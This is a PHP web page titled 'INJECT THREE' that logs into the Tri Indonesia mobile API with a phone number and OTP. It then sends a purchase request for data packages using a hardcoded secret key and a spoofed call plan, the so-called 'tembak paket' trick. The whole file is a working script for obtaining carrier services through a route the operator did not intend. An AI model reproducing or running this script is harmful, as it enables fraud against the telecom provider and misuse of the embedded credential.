· 7 years ago · Sep 09, 2018, 02:18 AM
1<!-- MMPPPSSSS AHHHH SLURPT SLURPT -->
2<!-- MMPPPSSSS AHHHH SLURPT SLURPT -->
3<!-- MMPPPSSSS AHHHH SLURPT SLURPT -->
4<!-- MMPPPSSSS AHHHH SLURPT SLURPT -->
5<!-- MMPPPSSSS AHHHH SLURPT SLURPT -->
6<h1>INJECT THREE</h1>
7<form method="POST" action="">
8 <input type="text" name="no" placeholder="Nomor">
9 <br>
10 <br>
11 <input type="text" name="otp" placeholder="OTP" autocomplete="off">
12 <br>
13 <br>
14 <select name="pilih_paket">
15 <option value="">Pilih Paket</option>
16 <option value="178637">Internet Kuota Bulanan 4G 32 GB 30 Hari (Rp 60.000)</option>
17 <option value="37689">Paket Chatting 30 Hari (Rp 5.000)</option>
18 <option value="64055">Internet Kuota Harian 4G 7 GB 7 Hari (Rp 15.000)</option>
19 </select>
20 <br>
21 <br>
22 <button type="submit" name="submit">DOR...!</button>
23</form>
24<?php
25error_reporting(0);
26$no = $_POST['no'];
27$otp = $_POST['otp'];
28
29$json = '{"callPlan":"","deviceManufacture":"","deviceModel":"","deviceOs":"","imei":"WebSelfcare","imsi":"","language":"","msisdn":"' . $no . '","otp":"' . $otp . '","secretKey":""}';
30
31$ch = curl_init();
32curl_setopt($ch, CURLOPT_URL, 'https://bima.tri.co.id/api/login/login-with-otp');
33curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
34curl_setopt($ch, CURLOPT_POST, 1);
35curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
36curl_setopt($ch, CURLOPT_POSTFIELDS, $json);
37curl_setopt($ch, CURLOPT_HEADER, 0);
38curl_setopt($ch, CURLOPT_HTTPHEADER, array(
39 "Content-type:application/json"
40));
41//curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
42//curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
43$response = curl_exec($ch);
44curl_close($ch);
45if (isset($_POST['submit']))
46{
47 if (preg_match('/OTP Tidak berlaku/s', $response))
48 {
49?>
50<h3>Login Gagal...<br>OTP Tidak berlaku</h3>
51
52<?php
53 /*if(isset($_POST['submit']))
54 {
55 if(empty($_POST['pilih_paket'])) {
56 echo "Pilih paket anda...";
57 }else{
58 echo $_POST['pilih_paket'];
59 }
60 }*/
61?>
62
63<?php
64 }
65 else
66 {
67?>
68<h3>Login Sukses...</h3>
69<?php
70 error_reporting(0);
71 if (isset($_POST['submit']))
72 {
73 if (empty($_POST['pilih_paket']))
74 {
75 echo "</h3>Pilih paket anda...</h3>";
76 }
77 else
78 {
79 $paket = $_POST['pilih_paket'];
80 $dor = '{"msisdn":"' . $no . '","imei":"WebSelfcare","secretKey":"LCYTQszbdAHeMzlKwrziWA==813qoEgLKMv9smBKeHGBY5pMp6jFjMPtgnRQqnUY","language":0,"subscriberType":"Prepaid","callPlan":"SP JANET SERIBU","productId":"' . $paket . '","paymentMethod":"00","menuCategoryName":"home","menuSubCategoryName":"Paling Laku","servicePlan":"Default","vendorId":11}';
81 $tembak = curl_init();
82 curl_setopt($tembak, CURLOPT_URL, 'https://bima.tri.co.id/api/purchase/purchase-product');
83 curl_setopt($tembak, CURLOPT_RETURNTRANSFER, 1);
84 curl_setopt($tembak, CURLOPT_POST, 1);
85 curl_setopt($tembak, CURLOPT_RETURNTRANSFER, 1);
86 curl_setopt($tembak, CURLOPT_POSTFIELDS, $dor);
87 curl_setopt($tembak, CURLOPT_HEADER, 0);
88 curl_setopt($tembak, CURLOPT_HTTPHEADER, array(
89 "Content-type:application/json"
90 ));
91 //curl_setopt($tembak, CURLOPT_COOKIEJAR, 'cookie.txt');
92 //curl_setopt($tembak, CURLOPT_COOKIEFILE, 'cookie.txt');
93 curl_exec($tembak);
94 $info = curl_getinfo($tembak);
95 curl_close($tembak);
96 echo "<h3>Sukses tembak...</h3>";
97 }
98 }
99 }
100}
101?>